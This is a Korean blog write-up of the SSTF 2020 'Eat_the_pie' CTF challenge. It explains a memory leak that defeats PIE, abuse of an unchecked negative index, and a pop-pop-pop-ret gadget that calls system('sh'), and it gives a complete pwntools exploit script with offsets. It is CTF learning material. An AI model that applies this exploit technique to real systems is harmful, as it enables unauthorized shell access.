Self-Improvement

[SSTF 2020] Eat_the_pie 풀이 (OOB, PIE) 본문

리버싱 기초/ETC

[SSTF 2020] Eat_the_pie 풀이 (OOB, PIE)

JoGeun 2020. 9. 1. 13:51

eat_the_pie.zip
0.00MB

PIE 걸려있는 문제를 풀어보기 위해 찾아보던 중 재밌는 문제인 것 같아서 풀어보았으며 많이 생각을하면서 시간을 소요했다.

 

Checksec

해당 바이너리는 모든 보호기법이 걸려있었다

 

IDA_main

main에는 이렇다한게 없고 pwnme()를 보면 될 것 같다.

 

IDA_pwnme

1. read 함수를 통해 buf의 영역을 채울 수 있으며 이때 buf의 크기(0x10)만큼 가득 채울 수 있다.

2. if문에서 입력값에 대한 검증이 부족하다. (마이너스를 넣을 수 있다)

3. buf의 크기를 가득 채울 시에 그 뒤의 memory leak을 수행할 수 있다.

 

IDA_func1, func2, func3, func4

별다른 취약점은 존재하지 않는다.

 

풀이방법

memory leak을 통해 func1의 주소를 얻어낸 후 base주소를 구한다.

base 주소에서 offset을 통해 system 주소를 얻어낸다.

system의 인자인 "sh"는 fflush의 문자열에서 따온다. sh를 어디서 얻을까하고 고민을 많이 했다.

 

이때 그러면 어떻게 system 주소를 실행시킬까가 문제인데 이 부분을 if문에서 검증이 부족한 부분을 이용한다.

아래의 그림은 "2"로 하여 실행했을경우 func2()를 콜하기전의 상황이다. 

buf의 크기는 0x10으로 0xffffd2b4 ~ 0xffffd2c0 까지 입력을 할 수 있다.

그러면 "2"가 아닌 "-2"를 주고 실행하면 "call eax"에서 eax의 주소는 무엇이 되는지 확인해 본다.

 

"-2"를 주고 실행했을 경우에는 값이 0xfffffffe이 되고 pwnme+265에서 4를 더함으로 eax는 2가 된다.

 

eax는 결국 0xffffd2bc를 가리키게 되며 buf의 영역의 주소를 call을 할 수 있게 된다.

 

이제 buf 영역에 system, "sh" 주소를 넣어야 하는데 스택의 상황을 다시한번 잘 살펴본다.

system 주소를 다이렉트로 call하면 "sh" 인자를 줄 수가 없다.

 

그러면 esp+c(0xffffd2bc)에 'pop, pop, pop, ret"을 주고 esp+8(0xffffd2b8)에 system 주소, esp+10(0xffffd2c0)에 "sh" 문자열 주소를 넣어본다.

"-2"로 실행하면 'p3r(pop, pop, pop, ret)'을 수행하기전 EIP를 push하여 pop 3번을 수행하면 ret에 system 주소를 할당할 수 있게 되어 system이 실행된다. 그리고 정상적으로 "sh"을 받아 쉘이 실행될 것이다.

 

구해야할 것

 system_offset => IDA
 p3r => objdump
 sh => IDA
 func1_offset => IDA
 base_addr => Memory leak

 

system_offset = 0x000005a0

 

sh = 0x0000031a

 

p3r = 0x00000a99

 

func1_offset = 0x0000074d

 

base_addr = Memory leak

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
#context.log_level='debug'
 
e=ELF('./eat_the_pie')
p=process(e.path)
 
p.recvuntil('>')
 
payload='1'*16
p.send(payload)
p.recvuntil('1'*16)
print hexdump(p.recv()[:4])
cs

 

Pwntools

너무 어렵게 써내려간 것 같지만... 결론적으론 PIE 보호기법이 걸려있으면 offset을 이용해서 풀면된다.

atoi는 앞의 숫자가 있으면 해당 숫자만 확인한다.

ex) 1aa => 1

ex) 11aa => 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
context.log_level='debug'
 
e=ELF('./eat_the_pie')
p=process(e.path)
 
system_offset=0x5a0
sh=0x31a
p3r=0xa99
func1_offset=0x74d
 
p.recvuntil('>')
 
payload='1'*16
p.send(payload)
p.recvuntil('1'*16)
func1_leak=u32(p.recv()[:4])
 
base=func1_leak-func1_offset
system=base+system_offset
 
payload2='-2AA'
payload2+=p32(system)
payload2+=p32(base+p3r)
payload2+=p32(base+sh)
 
p.send(payload2)
p.interactive()
cs

 

 

틀리게 말한점이 있다면 지적해주세요.

 

'리버싱 기초 > ETC' 카테고리의 다른 글

[PlaidCTF] ropasaurusrex (32bit) 풀이 및 Pwntools  (0) 2020.05.31